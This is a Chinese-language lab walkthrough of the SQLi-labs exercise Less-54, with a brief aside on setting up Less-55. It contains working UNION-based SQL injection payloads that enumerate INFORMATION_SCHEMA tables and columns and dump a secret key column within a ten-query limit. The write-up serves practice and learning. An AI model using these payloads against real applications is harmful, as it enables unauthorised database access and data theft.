less54-65

less-54(无法连接到数据库:挑战未知数据库的“挑战”)

我的不知道怎么回事怎么都没用 就掏国光的了

Less-54

请求方式 注入类型 拼接方式 GET 联合、布尔盲注、延时盲注 id='$id'

简单源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if reset:
# 根据时间戳生成 cookie
setcookie('challenge', ' ', time() - 3600000);

else:
if cookie 中有 challenge:
$sessid=$_COOKIE['challenge'];
else:
# 生成 cookie
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
if $_GET['id']:
计数器 + 1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if 有查询成功:
输出查询信息
else:
啥都不输出

# key 被双重过滤了
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";

代码中可以分享出,得让我们在 10 次注入测试中拿到 key 值。看了源码可以直接联合查询,10 次以内拿到 key 感觉问题不大,那么尝试看看吧:

判断闭合方式 Payload ?id=1'--+

判断字段数 Payload ?id=1' order by 3--+ ?id=1' order by 4--+

查询有可注入的字段 Payload ?id=-1' union select 1,2,3 --+ 字段数 2,3

查询表名** Payload ?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+ 表名为:KMA0E2Z29V ,这个表名可能是随机的 不同用户不一样

查询列名 Payload ?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x4b4d413045325a323956)--+ 查到列名如下:id、sessid、secret_1XVB、tryy

查询字段值 Payload ?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_1XVB)+FROM+KMA0E2Z29V)--+ 拿到 key 值为:UNK985xGrJL5PIWKGogHXo3F

总共只需要 6 步,其中在判断字段数这里有不确定性,理论上 10 步以内是可以正常注入出来的。

文章参考链接: https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-75

less-55

................................................................................ 结束,我链接不了! Unable to connect to the database: challengesUnknown database 'challenges'

原来缺少challenges数据库,得创建一下

额,接下来,国光https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-99
伴随你,我拒绝搞了